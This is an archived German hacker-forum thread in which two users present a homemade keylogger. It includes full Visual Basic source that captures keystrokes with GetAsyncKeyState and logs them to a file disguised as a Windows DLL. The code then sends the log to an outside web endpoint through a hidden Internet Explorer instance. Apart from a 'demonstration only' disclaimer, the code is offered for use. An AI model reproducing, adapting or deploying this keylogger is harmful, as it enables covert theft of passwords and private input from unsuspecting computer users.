Verfügbare Informationen zu "dna & sks999 Keylogger"
Qualität des Beitrags: Beteiligte Poster: sks999 - dna - hub Forum: Hack3rz-Forum | Hacker Foren Forenbeschreibung: Alle hier angeboten Ware ist nur zu Demonstrationszwecken! Wer den hier verbreiteten Inhalt für ander Zwecke nutzt macht sich Strafbar! aus dem Unterforum: Selber gemachtes Antworten: 3 Forum gestartet am: Dienstag 02.05.2006 Sprache: deutsch Link zum Originaltopic: dna & sks999 Keylogger Letzte Antwort: vor 17 Jahren, 3 Monaten, 21 Tagen, 5 Stunden, 15 Minuten
Alle Beiträge und Antworten zu "dna & sks999 Keylogger"
Re: dna & sks999 Keylogger
sks999 - 10.05.2006, 16:40dna & sks999 Keylogger
Dna und ich habe unseren Keylogger fertig gestellt. Dies soll eine Anregung für euch sein wenn ihr auch selbst sowas geschrieben habt stellt es doch bei http://hack3rz.iphpbb.com ins Board.
Re: dna & sks999 Keylogger
dna - 10.05.2006, 18:38
In Formular:Code:Option Explicit
Private Declare Function GetAsyncKeyState Lib "user32" _
(ByVal vKey As Long) As Integer
Public Fnr
Private Sub Form_Load()
KeyFile = "c:\WINDOWS\WinSock.dll"
Timer1.Interval = "50"
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Dim X As Long
For X = 48 To 90
If CompKey(X, UCase(Chr$(X))) Then Exit Sub
If CompKey(X + 48, UCase("NUM " & Chr$(X))) Then Exit Sub
Next X
For X = 112 To 127
If CompKey(X, "F" & CStr(X - 111)) Then Exit Sub
Next X
End Sub
Private Function CompKey(KCode As Long, KText As String) As Boolean
On Error Resume Next
Dim Result As Integer
Result = GetAsyncKeyState(KCode)
If Result = -32767 Then
Fnr = FreeFile
Open KeyFile For Append As #Fnr
Print #Fnr, KText & " ";
Close #Fnr
CompKey = True
Else
CompKey = False
End If
End Function
Sub Send()
Dim myURL As String
myURL = "http://dna.dk.ohost.de/send.php?empfaenger=deine@e-mail.com&text=" & Read
Dim myIE As InternetExplorer
Set myIE = New InternetExplorer
myIE.Visible = False
myIE.Navigate myURL
End Sub
In Module:
Code:Global KeyFile As String
Function Read() As String
Open KeyFile For Input As #1
Line Input #1, Read
Close #1
End Function
dna
Re: dna & sks999 Keylogger
hub - 09.01.2007, 12:03
Gibt es das auch als *.vb ???
(z.B. Der 30 Sekunden aufnimmt ?)
Mit folgendem Code, können Sie den Beitrag ganz bequem auf ihrer Homepage verlinken
Weitere Beiträge aus dem Forum Hack3rz-Forum | Hacker Foren
dna & sks999 Keylogger - gepostet von sks999 am Mittwoch 10.05.2006
MSN Hacken mit SocialEngineerig und Phising - gepostet von sks999 am Sonntag 18.06.2006
Ähnliche Beiträge wie "dna & sks999 Keylogger"
dna fahrer - Staxe (Mittwoch 25.07.2007)
DNA Treiber - sebb (Sonntag 11.09.2005)
2007 mit dna!! - Nuin (Samstag 30.12.2006)
Suche gute Free Keylogger - nick-111 (Samstag 17.11.2007)
DNA Massntest in Dresden - Harald (Samstag 15.07.2006)
Keylogger Alarm! - Khâraa (Sonntag 09.09.2007)
Lenker umbau bei DNA - smash01 (Montag 29.01.2007)
DNA - heißt das eigentlich die Nasenbären? - skadani (Sonntag 25.03.2007)
DNA - skadani (Sonntag 25.03.2007)
MY Dna Updates ! - Smash (Mittwoch 25.07.2007)